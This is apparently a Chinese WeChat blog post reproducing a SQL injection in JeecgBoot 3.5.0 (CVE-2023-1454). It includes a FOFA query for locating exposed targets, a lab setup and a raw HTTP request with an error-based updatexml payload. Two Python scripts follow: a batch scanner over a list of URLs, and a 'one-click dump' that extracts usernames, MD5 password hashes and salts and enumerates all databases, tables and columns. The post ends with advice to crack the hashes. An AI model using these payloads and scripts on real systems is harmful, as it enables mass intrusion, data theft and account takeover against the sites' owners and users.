原创 富贵竹 AI与网安
微信号 gh_c57275954216
功能介绍 AI算法在网络安全中的应用以及漏洞复现
__发表于
收录于合集
免责申明: ** 本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!**
一、漏洞名称
JeecgBoot sql 注入漏洞
二、漏洞影响
jeecg-boot 3.5.0版本
三、漏洞描述
JeecgBoot是一款基于BPM的低代码平台!前后端分离架构 SpringBoot 2.x,SpringCloud,Ant Design&Vue,Mybatis-plus,Shiro,JWT,支持微服务。强大的代码生成器让前后端代码一键生成,实现低代码开发!jeecg-boot 3.5.0版本存在SQL注入漏洞,该漏洞源于文件 jmreport/qurestSql 存在安全问题, 通过参数 apiSelectId 导致SQL注入。
四、资产FOFA搜索语句
body=“jeecg-boot”
五、靶场搭建
下载源码
后端源码https://github.com/jeecgboot/jeecg-boot/tree/v3.5.0前端源码https://github.com/jeecgboot/jeecgboot-vue3
官方安装手册
http://doc.jeecg.com/2043871
源码解压到本地
使用IDEA打开jeecg-boot-3.5.0
配置maven
创建MySQL库表
将sql文件上传到MySQL的服务器,然后执行source命令
source jeecgboot-mysql-5.7.sql
修改MySQL和redis配置文件
启动后端项目
出现上面界面就启动成功了
前 端安装
Nots js安装
https://www.runoob.com/nodejs/nodejs-install-setup.html
安装Yarn
npm install yarn -g //全局安装yarn --version // 查看版本
配置源yarn config set registry https://registry.npm.taobao.org -gyarn config set sass_binary_site https://npm.taobao.org/mirrors/node-sass/ -g
检查源yarn config get registry // https://registry.npm.taobao.orgyarn config get sass_binary_site // https://npm.taobao.org/mirrors/node-sass/
使用WebStorm打开前端代码
配置WebStorm环境
启动前端
安装依赖:右键package.json文件yarn install
然后就是漫长的等待
等依赖下载完成,启动系统
npm run dev
点击输出的第一个url访问环境
http://localhost:3100/
六、漏洞复现
靶场是前后端分离的,前端为3100后端为8080,漏洞在8080端口
向目标发送如下请求数据包,使响应延迟5秒
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1Host: localhost:8080Content-Length: 134Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(0x23,(select current_user)),0x23)) or '%%' like '"}
证明存在sql注入漏洞
七、漏洞验证poc
该python脚本可以批量检测漏洞,C:\Users\DELL\Desktop\1.txt为输入目标文件,每行是一个url
import argparseimport timeimport requestsfrom urllib.parse import urlsplitimport string
# 读取URL文件,处理urldef get_url(file): with open('{}'.format(file),'r',encoding='utf-8') as f: for url in f: url = url.replace('\n', '') if "http" not in url: url = "http://" + url parsed_url = urlsplit(url) base_url = parsed_url.scheme + "://" + parsed_url.netloc send_req(base_url)
# 在文件中记录存在漏洞的url def write_result(content): f = open("result.txt", "a", encoding="UTF-8") f.write('{}\n'.format(content)) f.close()
# 发送POC数据包请求def send_req(url_check): print('{} runing Check'.format(url_check))
url = url_check + '/jeecg-boot/jmreport/qurestSql' header = { 'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69', 'Content-Type':'application/json' } data = """ {"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(0x23,(select current_user)),0x23)) or '%%' like '"} """ try: requests.packages.urllib3.disable_warnings() response = requests.post(url=url,headers=header,data=data,verify=False,timeout=3) if response.status_code == 200 and "XPATH syntax error" in response.text: result = '{} 存在CVE-2023-1454漏洞! \n'.format(url_check) print(result) write_result(result) time.sleep(1) except Exception as e: print(e) pass
if __name__ == '__main__': file = r"C:\Users\DELL\Desktop\1.txt" get_url(file)
在桌面新建文件1.txt,写入靶场地址,使用jupyter运行上述代码
八、漏洞利用
Sqlmap无法直接利用这个漏洞,下面是个一键拖库的脚本
import argparseimport timeimport requestsfrom urllib.parse import urlsplitimport stringimport jsonimport re
# 在文件中记录存在漏洞的url def write_result(content): f = open("result.txt", "a", encoding="UTF-8") f.write('{}\n'.format(content)) f.close()
# 从报错信息中提取内容def extract_content(json_str): # 将JSON字符串解析为Python字典 data = json.loads(json_str) # 提取message字段中的#root@%内容 message = data.get("message", "") errors = message.split("XPATH syntax error: '#") # 获取切分后数组的最后一个值 value = errors[-1].strip()[:-1] return value
def send_req(url, sql_str): """ 发送POC数据包请求 """ header = { 'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69', 'Content-Type':'application/json' } # 构建JSON数据 data = { "apiSelectId": "1316997232402231298", "id": "1' or '%1%' like (updatexml(0x3a,concat(0x23,(" + sql_str + ")),0x23)) or '%%' like '" }
try: requests.packages.urllib3.disable_warnings() response = requests.post(url=url,headers=header,data=json.dumps(data),verify=False,timeout=3) if response.status_code == 200 and "XPATH syntax error" in response.text: return extract_content(response.text) time.sleep(1) except Exception as e: print(e) pass
def sensitive_data(url): """ 获取敏感数据 """ count = send_req(url,"select count(*) from sys_user") for i in range(0,int(count)): username = send_req(url,"select username from sys_user ORDER BY id LIMIT " + str(i) + ", 1") password = send_req(url,"select password from sys_user ORDER BY id LIMIT " + str(i) + ", 1") salt = send_req(url,"select salt from sys_user ORDER BY id LIMIT " + str(i) + ", 1") result = "用户名:" + username + "\tmd5密码盐:" + salt + "\t密码md5:" + password print(result) write_result(result)
def get_all(url): """ 一键拖库 """ # 获取数据库列表 databases_count = send_req(url,"select count(*) from information_schema.schemata") databases = [] print("数据库列表:") for i in range(0,int(databases_count)): schema_name = send_req(url,"select schema_name from information_schema.schemata ORDER BY schema_name LIMIT %d, 1" % (i)) databases.append(schema_name) print(schema_name) # 获取数据库表名 print("数据库表:") schema_dic = {} # 存储数据库名和表名 for database in databases: tables = [] print("--------------------------数据库{}中的表--------------------------".format(database)) tables_count = send_req(url,"select count(*) from information_schema.tables where table_schema = '%s'" % (database)) for i in range(0,int(tables_count)): table_name = send_req(url,"select table_name from information_schema.tables where table_schema = '%s' ORDER BY table_name LIMIT %d,1" % (database,i)) tables.append(table_name) print(table_name) schema_dic[database] = tables # 遍历字典的键值对,获取表的列信息 for database, tables in schema_dic.items(): for table in tables: print("--------------------------%s库 %s表的列名:--------------------------" % (database,table)) tables_count = send_req(url,"select count(*) from information_schema.columns where table_schema = '{}' and table_name = '{}'".format(database,table)) for i in range(0,int(tables_count)): column_name = send_req(url,"select column_name from information_schema.columns where table_schema = '{}' and table_name = '{}' ORDER BY column_name LIMIT {}, 1".format(database,table,i)) print(column_name)
if __name__ == '__main__': url = "http://localhost:8080/jeecg-boot/jmreport/qurestSql" # 获取用户名密码 sensitive_data(url) # 一键拖库 # get_all(url)
执行脚本获取到用户名密码之后使用字典解密md5即可使用
注意:脚本执行过程中后端日志会疯狂报错
九 、漏洞修复
升级到新版本
预览时标签不可点
微信扫一扫
关注该公众号
知道了
微信扫一扫
使用小程序
取消 允许
取消 允许
: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看